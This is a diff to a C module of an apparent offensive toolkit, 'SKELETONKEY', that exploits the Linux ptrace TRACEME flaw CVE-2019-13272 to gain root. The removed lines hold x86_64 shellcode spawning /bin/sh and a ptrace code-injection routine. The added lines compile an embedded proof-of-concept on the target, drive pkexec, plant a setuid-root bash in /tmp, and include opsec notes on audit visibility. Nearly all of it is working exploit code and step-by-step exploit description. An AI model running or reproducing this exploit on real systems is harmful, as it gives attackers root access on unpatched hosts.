before the - * cred change. - * 9. C now controls a uid=0 process. C reads/writes P's memory via - * PTRACE_POKETEXT, sets registers via PTRACE_SETREGS to point at - * shellcode that exec's /bin/sh. - * 10. C resumes P → root shell. + * 1. A "middle" process M forks a child C, then execve's + * `pkexec --user --help`. pkexec is setuid-root, so + * for a window M's euid is 0. + * 2. C spins reading /proc/M/status until it sees M is euid 0, then + * calls ptrace(PTRACE_TRACEME) — recording M's *root* creds as C's + * ptracer_cred (this is the bug: the link isn't re-derived). + * 3. C execve's pkexec itself. Normally a traced setuid execve is + * degraded to non-privileged; but because ptracer_cred is root the + * kernel treats it as a proper suid exec — C becomes real root, + * still traced by M, and stops at execve's SIGTRAP. + * 4. The main process PTRACE_ATTACHes M, injects an execveat() that + * re-execs the exploit binary as "stage2"; stage2 (as M) is C's + * tracer, so it injects an execveat() into C (now root) to re-exec + * as "stage3"; stage3 runs the payload as root. * - * SKELETONKEY implementation simplifies by using a small architecture- - * specific shellcode (x86_64 only) and pkexec as the setuid binary - * trigger (works on most Linux systems with polkit installed). Falls - * back to /bin/su if pkexec isn't available. + * The staged self-re-exec is why the exploit binary must exist as its + * own file with a main() that dispatches on argv[0]. We embed the proven + * PoC (ptrace_helper_src.h — verbatim upstream but for a payload tweak), + * compile it on the target with unique -DSK_PROOF/-DSK_ROOTBASH paths, + * run it, and confirm root by stat()'ing the root-owned artifacts. Never + * trust the exploit's own exit status. * - * Reliability: this exploit can fail-race on heavily-loaded systems. - * Repeat invocations usually succeed; we don't loop here — operator - * can retry. Returns SKELETONKEY_EXPLOIT_FAIL on miss, SKELETONKEY_EXPLOIT_OK - * on root acquired (followed by execlp(sh) which never returns). + * x86_64 only: the register-level injection (user_regs_struct rsp/rdi/ + * orig_rax/…) is architecture-specific. */ #if defined(__x86_64__) -/* x86_64 shellcode: setuid(0); setgid(0); execve("/bin/sh", argv, env) */ -static const unsigned char SHELLCODE_X64[] = - "\x31\xff" /* xor edi, edi */ - "\xb8\x69\x00\x00\x00" /* mov eax, 0x69 (setuid) */ - "\x0f\x05" /* syscall */ - "\x31\xff" /* xor edi, edi */ - "\xb8\x6a\x00\x00\x00" /* mov eax, 0x6a (setgid) */ - "\x0f\x05" /* syscall */ - "\x48\x31\xd2" /* xor rdx, rdx */ - "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" /* mov rbx, "//bin/sh" */ - "\x48\xc1\xeb\x08" /* shr rbx, 8 */ - "\x53" /* push rbx */ - "\x48\x89\xe7" /* mov rdi, rsp */ - "\x50" /* push rax (=0 from setgid) */ - "\x57" /* push rdi */ - "\x48\x89\xe6" /* mov rsi, rsp */ - "\xb0\x3b" /* mov al, 0x3b (execve) */ - "\x0f\x05"; /* syscall */ +#include "ptrace_helper_src.h" -#define SHELLCODE_BYTES SHELLCODE_X64 -#define SHELLCODE_LEN (sizeof SHELLCODE_X64 - 1) - -#endif /* __x86_64__ */ - -static const char *find_setuid_target(void) +/* Locate a usable C compiler on the target. */ +static const char *ptrace_find_cc(void) { - static const char *targets[] = { - "/usr/bin/pkexec", "/usr/bin/su", "/usr/bin/sudo", - "/usr/bin/passwd", "/bin/su", NULL, + static const char *ccs[] = { + "/usr/bin/cc", "/usr/bin/gcc", "/usr/bin/clang", + "/usr/local/bin/gcc", "/usr/local/bin/cc", NULL, }; - for (size_t i = 0; targets[i]; i++) { - struct stat st; - if (stat(targets[i], &st) == 0 && (st.st_mode & S_ISUID)) { - return targets[i]; - } + for (size_t i = 0; ccs[i]; i++) { + if (access(ccs[i], X_OK) == 0) + return ccs[i]; } return NULL; } +/* Write the embedded helper source to `path`. Returns 0 on success. */ +static int ptrace_write_source(const char *path) +{ + int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (fd < 0) return -1; + size_t len = sizeof(ptrace_traceme_helper_src) - 1; + const char *p = ptrace_traceme_helper_src; + while (len) { + ssize_t n = write(fd, p, len); + if (n <= 0) { close(fd); return -1; } + p += n; len -= (size_t)n; + } + close(fd); + return 0; +} + +/* fork+execv a command, wait, return child exit status (or -1). */ +static int ptrace_run(char *const argv[], const char *logpath, int quiet_stdin, int secs) +{ + pid_t p = fork(); + if (p < 0) return -1; + if (p == 0) { + if (quiet_stdin) { + int dn = open("/dev/null", O_RDONLY); + if (dn >= 0) { dup2(dn, 0); close(dn); } + } + if (logpath) { + int lf = open(logpath, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (lf >= 0) { dup2(lf, 1); dup2(lf, 2); close(lf); } + } + execv(argv[0], argv); + _exit(127); + } + for (int i = 0; secs <= 0 || i < secs * 10; i++) { + int st; + pid_t r = waitpid(p, &st, WNOHANG); + if (r == p) return WIFEXITED(st) ? WEXITSTATUS(st) : 128 + WTERMSIG(st); + if (r < 0) return -1; + usleep(100 * 1000); + } + kill(p, SIGKILL); + waitpid(p, NULL, 0); + return -2; /* timed out */ +} + +/* Remember what we planted so cleanup() can remove it. */ +static char ptrace_last_proof[256]; +static char ptrace_last_rootbash[256]; + static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx) { -#if !defined(__x86_64__) - (void)ctx; - fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only " - "(shellcode is arch-specific)\n"); - return SKELETONKEY_PRECOND_FAIL; -#else skeletonkey_result_t pre = ptrace_traceme_detect(ctx); if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n"); return pre; } - /* Consult ctx->host->is_root so unit tests can construct a - * non-root fingerprint regardless of the test process's real euid. */ bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0); if (is_root) { fprintf(stderr, "[i] ptrace_traceme: already root\n"); return SKELETONKEY_OK; } - const char *setuid_bin = find_setuid_target(); - if (!setuid_bin) { - fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n"); + if (access("/usr/bin/pkexec", X_OK) != 0) { + fprintf(stderr, "[-] ptrace_traceme: /usr/bin/pkexec not present — this " + "exploit drives pkexec; nothing to do\n"); return SKELETONKEY_PRECOND_FAIL; } - if (!ctx->json) { - fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin); + const char *cc = ptrace_find_cc(); + if (!cc) { + fprintf(stderr, "[-] ptrace_traceme: no C compiler on target. The staged " + "self-re-exec technique builds a small helper on the host; " + "install cc/gcc or drop a prebuilt helper. Honest EXPLOIT_FAIL.\n"); + return SKELETONKEY_EXPLOIT_FAIL; } - /* fork: child becomes tracee-of-self setup, parent execve's setuid bin */ - pid_t child = fork(); - if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; } + /* Unique per-run paths (pid keeps parallel runs from colliding). */ + long tag = (long)getpid(); + char src_c[256], bin[256], log[256], proof[256], rootbash[256]; + snprintf(src_c, sizeof src_c, "/tmp/.sk-ptrace-%ld.c", tag); + snprintf(bin, sizeof bin, "/tmp/.sk-ptrace-%ld", tag); + snprintf(log, sizeof log, "/tmp/.sk-ptrace-%ld.log", tag); + snprintf(proof, sizeof proof, "/tmp/.sk-ptrace-%ld.proof", tag); + snprintf(rootbash, sizeof rootbash, "/tmp/.sk-ptrace-%ld.rootbash",tag); + snprintf(ptrace_last_proof, sizeof ptrace_last_proof, "%s", proof); + snprintf(ptrace_last_rootbash, sizeof ptrace_last_rootbash, "%s", rootbash); - if (child == 0) { - /* CHILD: set up the ptrace_link, then pause until parent has - * execve'd the setuid binary and elevated. The exact timing - * is racy — we use a simple sleep+attach pattern. */ - if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) { - perror("CHILD: ptrace TRACEME"); _exit(2); - } - /* Give parent time to execve. 200ms is enough for a hot - * libc; 1000ms for a slow disk. */ - usleep(500 * 1000); - - /* Now race: PTRACE_ATTACH to our parent (the setuid process). - * On a vulnerable kernel, the stale ptrace_link makes this - * succeed even though parent is now root. */ - pid_t parent = getppid(); - if (ptrace(PTRACE_ATTACH, parent, 0, 0) < 0) { - fprintf(stderr, "[-] CHILD: PTRACE_ATTACH to parent (%d) failed: %s\n", - parent, strerror(errno)); - _exit(3); - } - int wstatus; - waitpid(parent, &wstatus, 0); - - /* Read parent's RIP, allocate space for shellcode there, - * POKETEXT the shellcode in. */ - struct user_regs_struct regs; - if (ptrace(PTRACE_GETREGS, parent, 0, ®s) < 0) { - perror("CHILD: GETREGS"); _exit(4); - } - - /* Write shellcode at current RIP (overwriting whatever's there - * in the setuid binary's text — we don't care, we never - * return). 8 bytes at a time via PTRACE_POKETEXT. */ - for (size_t i = 0; i < SHELLCODE_LEN; i += 8) { - long word = 0; - size_t take = SHELLCODE_LEN - i; - if (take > 8) take = 8; - memcpy(&word, SHELLCODE_BYTES + i, take); - if (ptrace(PTRACE_POKETEXT, parent, - (void *)(regs.rip + i), (void *)word) < 0) { - perror("CHILD: POKETEXT"); _exit(5); - } - } - - /* Detach and let parent continue at RIP, which now points at - * our shellcode (we didn't move RIP — we wrote shellcode - * starting at current RIP). */ - if (ptrace(PTRACE_DETACH, parent, 0, 0) < 0) { - perror("CHILD: DETACH"); _exit(6); - } - _exit(0); /* child done — parent is now running shellcode → root sh */ + if (ptrace_write_source(src_c) != 0) { + fprintf(stderr, "[-] ptrace_traceme: could not write helper source: %s\n", + strerror(errno)); + return SKELETONKEY_TEST_ERROR; } - /* PARENT: fire the setuid trigger in a short-lived GRANDCHILD so THIS - * process survives to verify the result honestly. - * - * IMPORTANT (integrity fix): the previous code execve'd the setuid binary - * directly here. That replaced the process, and because the execve itself - * succeeds (pkexec --version runs and exits cleanly), the dispatcher's - * "exec-transfer → clean exit" path reported a FALSE EXPLOIT_OK even though - * no root was ever obtained — the bundled ptrace sequence is a non-working - * placeholder (it PTRACE_ATTACHes to the tracer, and by the time it runs - * the parent has already exited and the tracee reparented to init, so the - * attach fails with EPERM). We now keep the parent alive and report the - * truth. A faithful CVE-2019-13272 exploit (Jann Horn's cred-transfer via a - * registered polkit agent, e.g. bcoles' PoC) is required to actually land - * root and is not yet ported. */ if (!ctx->json) - fprintf(stderr, "[*] ptrace_traceme: firing setuid trigger %s in a " - "grandchild (parent stays alive to verify)\n", setuid_bin); - usleep(100 * 1000); /* give child a moment to call TRACEME first */ + fprintf(stderr, "[*] ptrace_traceme: building helper with %s → %s\n", cc, bin); - char *new_argv[] = { (char *)setuid_bin, "--version", NULL }; - char *new_envp[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; - pid_t trig = fork(); - if (trig == 0) { - execve(setuid_bin, new_argv, new_envp); - _exit(127); + char dproof[320], drootbash[320]; + snprintf(dproof, sizeof dproof, "-DSK_PROOF=\"%s\"", proof); + snprintf(drootbash, sizeof drootbash, "-DSK_ROOTBASH=\"%s\"", rootbash); + char *cc_argv[] = { + (char *)cc, (char *)"-O2", (char *)"-w", + (char *)"-o", bin, src_c, dproof, drootbash, NULL, + }; + int crc = ptrace_run(cc_argv, log, 0, 60); + if (crc != 0) { + fprintf(stderr, "[-] ptrace_traceme: helper compile failed (rc=%d); see %s\n", + crc, log); + unlink(src_c); + return SKELETONKEY_TEST_ERROR; } - int cst = 0; - if (trig > 0) waitpid(trig, &cst, 0); - int status; - waitpid(child, &status, 0); - /* Honest verification: did we actually become root? */ - if (geteuid() == 0) { - if (!ctx->json) - fprintf(stderr, "[+] ptrace_traceme: euid 0 — root achieved\n"); + if (!ctx->json) + fprintf(stderr, "[*] ptrace_traceme: running exploit (auto-targets a polkit " + "helper; needs an active session to authorize pkexec)\n"); + + char *run_argv[] = { bin, NULL }; + int rrc = ptrace_run(run_argv, log, 1 /*stdin=/dev/null*/, 90); + (void)rrc; /* exit status is NOT trusted — verify out of band below */ + + /* ---- Out-of-band verification: is the proof a real, root-owned file? */ + struct stat st; + bool rooted = (stat(proof, &st) == 0 && S_ISREG(st.st_mode) && st.st_uid == 0); + + unlink(src_c); + unlink(bin); + + if (rooted) { + unlink(log); + if (!ctx->json) { + fprintf(stderr, "[+] ptrace_traceme: ROOT — planted root-owned proof %s\n", proof); + fprintf(stderr, "[+] ptrace_traceme: setuid-root shell available: %s -p\n", rootbash); + } return SKELETONKEY_EXPLOIT_OK; } + if (!ctx->json) { - fprintf(stderr, "[-] ptrace_traceme: the bundled ptrace sequence did NOT " - "achieve root (it is a non-working placeholder — attaches " - "to the wrong task). Honest EXPLOIT_FAIL.\n"); - fprintf(stderr, "[i] ptrace_traceme: to land root, port the real " - "CVE-2019-13272 exploit (Jann Horn / bcoles: PTRACE_TRACEME " - "+ setuid execve + a registered polkit agent so pkexec " - "proceeds, then cred-transfer). Not yet bundled.\n"); + /* Distinguish "kernel not exploitable" from "environment didn't let + * pkexec authorize" so the operator knows which lever to pull. */ + bool saw_notauth = false; + FILE *lf = fopen(log, "r"); + if (lf) { + char line[512]; + while (fgets(line, sizeof line, lf)) { + if (strstr(line, "Not authorized") || strstr(line, "not authorized")) { + saw_notauth = true; break; + } + } + fclose(lf); + } + fprintf(stderr, "[-] ptrace_traceme: no root artifact — honest EXPLOIT_FAIL.\n"); + if (saw_notauth) { + fprintf(stderr, "[i] ptrace_traceme: pkexec returned \"Not authorized\" — the " + "session is not active/authorized for the helper action. This " + "exploit lands root from an *active local* session (or with a " + "polkit agent that authorizes it); a bare ssh session is treated " + "as inactive. The kernel bug is intact; the gate is polkit.\n"); + } else { + fprintf(stderr, "[i] ptrace_traceme: no usable polkit helper found, or the race " + "was lost. Retry, or check `pkaction --verbose` for an action " + "with implicit-active=yes whose exec.path exists.\n"); + } } + unlink(log); return SKELETONKEY_EXPLOIT_FAIL; +} + +#else /* !__x86_64__ (still Linux) */ + +static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only (the ptrace " + "register-injection is architecture-specific)\n"); + return SKELETONKEY_PRECOND_FAIL; +} + +#endif /* __x86_64__ */ + +/* cleanup: remove the artifacts we planted, if any. */ +static skeletonkey_result_t ptrace_traceme_cleanup(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; +#if defined(__x86_64__) + if (ptrace_last_proof[0]) unlink(ptrace_last_proof); + if (ptrace_last_rootbash[0]) unlink(ptrace_last_rootbash); #endif + return SKELETONKEY_OK; } #else /* !__linux__ */ -/* Non-Linux dev builds: PTRACE_TRACEME / PTRACE_ATTACH / user_regs_struct - * are Linux-only ABI surface. Stub out so the module still registers and - * the top-level `make` completes on macOS/BSD dev boxes. */ +/* Non-Linux dev builds: PTRACE_TRACEME / execveat / user_regs_struct are + * Linux-only ABI surface. Stub out so the module still registers and the + * top-level `make` completes on macOS/BSD dev boxes. */ static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx) { if (!ctx->json) @@ -334,6 +369,11 @@ static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx fprintf(stderr, "[-] ptrace_traceme: Linux-only module — cannot run here\n"); return SKELETONKEY_PRECOND_FAIL; } +static skeletonkey_result_t ptrace_traceme_cleanup(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + return SKELETONKEY_OK; +} #endif /* __linux__ */ @@ -383,19 +423,19 @@ static const char ptrace_traceme_falco[] = const struct skeletonkey_module ptrace_traceme_module = { .name = "ptrace_traceme", .cve = "CVE-2019-13272", - .summary = "PTRACE_TRACEME → setuid binary execve → cred-escalation via ptrace inject", + .summary = "PTRACE_TRACEME + setuid execve → non-degraded root in the traced child (pkexec helper)", .family = "ptrace_traceme", .kernel_range = "K < 5.1.17, backports: 5.0.20 / 4.19.58 / 4.14.131 / 4.9.182 / 4.4.182", .detect = ptrace_traceme_detect, .exploit = ptrace_traceme_exploit, .mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.yama.ptrace_scope=2 */ - .cleanup = NULL, /* exploit replaces our process image; no cleanup applies */ + .cleanup = ptrace_traceme_cleanup, .detect_auditd = ptrace_traceme_auditd, .detect_sigma = ptrace_traceme_sigma, .detect_yara = NULL, .detect_falco = ptrace_traceme_falco, - .opsec_notes = "Parent and child cooperate: child calls ptrace(PTRACE_TRACEME) (recording the parent's current credentials), then sleeps; parent execve's a setuid binary (pkexec or su) and elevates. The stale ptrace_link in the child still holds the old (non-root) credentials, so PTRACE_ATTACH succeeds against the now-root parent; the child injects shellcode at the parent's RIP via PTRACE_POKETEXT and detaches. Audit-visible via ptrace with a0=0 (PTRACE_TRACEME) closely followed by execve of a setuid binary in the parent process. No file artifacts; no persistent changes. No cleanup callback - the exploit execs /bin/sh and does not return.", - .arch_support = "x86_64+unverified-arm64", + .opsec_notes = "The exploit builds a small helper on the target (needs cc/gcc) and drives pkexec against an auto-discovered polkit helper (implicit-active=yes). Audit-visible via ptrace with a0=0 (PTRACE_TRACEME) closely followed by execve of a setuid binary, plus pkexec spawning an unusual helper with --help. Requires an active local session (or a polkit agent) to authorize pkexec — over inactive ssh sessions pkexec returns \"Not authorized\" and the module reports EXPLOIT_FAIL. Artifacts: a root-owned proof file and a setuid-root bash under /tmp (removed by cleanup()); the helper .c/binary are compiled and unlinked during the run. yama ptrace_scope>=2 or SELinux deny_ptrace defeat it.", + .arch_support = "x86_64", }; void skeletonkey_register_ptrace_traceme(void)